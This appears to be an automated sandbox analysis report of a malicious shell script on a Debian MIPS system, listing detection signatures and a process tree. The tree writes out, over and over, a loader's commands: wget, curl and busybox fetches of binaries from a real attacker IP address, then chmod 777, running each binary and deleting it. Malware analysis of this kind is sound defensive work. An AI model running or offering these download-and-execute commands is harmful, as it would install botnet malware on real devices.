d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a

Analysis

max time kernel
75s
max time network
104s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21-11-2024 08:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a.sh
Size

10KB
MD5

40acb9bbdc30eee90db1699fc64664f0
SHA1

e7f465a62fe2f5943e5c8d4cb0f279f026f536b5
SHA256

d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a
SHA512

b0d6779c6beb7671facf61f8e5585c55ab7b2b631bac3813ce58bffbffd5993de30f3a8ea75780c9117bbc93739d77c4ef6300ab47e608ee405fb089fc6b6a8d
SSDEEP

192:m5Z/77fdck0awgfSex7RRJkIN18JpAEMVA4og7XDu7iuKGuie7MUZEMVW4ogJpWX:wWWNxmGJjB4

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
895	chmod
925	chmod
931	chmod
979	chmod
802	chmod
837	chmod
889	chmod
883	chmod
961	chmod
913	chmod
967	chmod
757	chmod
820	chmod
829	chmod
907	chmod
877	chmod
901	chmod
740	chmod
749	chmod
861	chmod
919	chmod
949	chmod
937	chmod
943	chmod
973	chmod
778	chmod
955	chmod
985	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk	curl
File opened for modification	/tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ	curl
File opened for modification	/tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p	curl
File opened for modification	/tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG	curl
File opened for modification	/tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN	curl
File opened for modification	/tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV	curl
File opened for modification	/tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2	curl
File opened for modification	/tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p	curl
File opened for modification	/tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7	curl
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	curl
File opened for modification	/tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV	curl
File opened for modification	/tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw	curl
File opened for modification	/tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn	curl
File opened for modification	/tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0	curl
File opened for modification	/tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk	curl
File opened for modification	/tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ	curl
File opened for modification	/tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG	curl
File opened for modification	/tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7	curl
File opened for modification	/tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw	curl
File opened for modification	/tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji	curl
File opened for modification	/tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN	curl
File opened for modification	/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	curl
File opened for modification	/tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2	curl
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	curl
File opened for modification	/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	curl
File opened for modification	/tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji	curl
File opened for modification	/tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0	curl
File opened for modification	/tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn	curl

/tmp/d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a.sh
/tmp/d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:720
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:736
- /bin/chmod
  chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  ./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:748
- /bin/chmod
  chmod 777 gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  ./gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:756
- /bin/chmod
  chmod 777 uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  ./uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:774
- /bin/chmod
  chmod 777 lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  ./lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:798
- /bin/chmod
  chmod 777 vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  ./vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:819
- /bin/chmod
  chmod 777 15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  ./15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm 15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:828
- /bin/chmod
  chmod 777 jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  ./jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:831
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:834
- /bin/chmod
  chmod 777 ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  ./ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:857
- /bin/chmod
  chmod 777 FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  ./FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:865
- /usr/bin/wget
  wget http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:876
- /bin/chmod
  chmod 777 S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  ./S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:882
- /bin/chmod
  chmod 777 7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  ./7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm 7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:888
- /bin/chmod
  chmod 777 NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  ./NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:894
- /bin/chmod
  chmod 777 EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  ./EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:900
- /bin/chmod
  chmod 777 oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  ./oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:906
- /bin/chmod
  chmod 777 FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  ./FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:912
- /bin/chmod
  chmod 777 S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  ./S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:918
- /bin/chmod
  chmod 777 ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  ./ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:924
- /bin/chmod
  chmod 777 EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  ./EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:930
- /bin/chmod
  chmod 777 oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  ./oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:936
- /bin/chmod
  chmod 777 7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  ./7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:942
- /bin/chmod
  chmod 777 NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  ./NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:948
- /bin/chmod
  chmod 777 lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  ./lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:954
- /bin/chmod
  chmod 777 vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  ./vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:960
- /bin/chmod
  chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  ./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Reads runtime system information
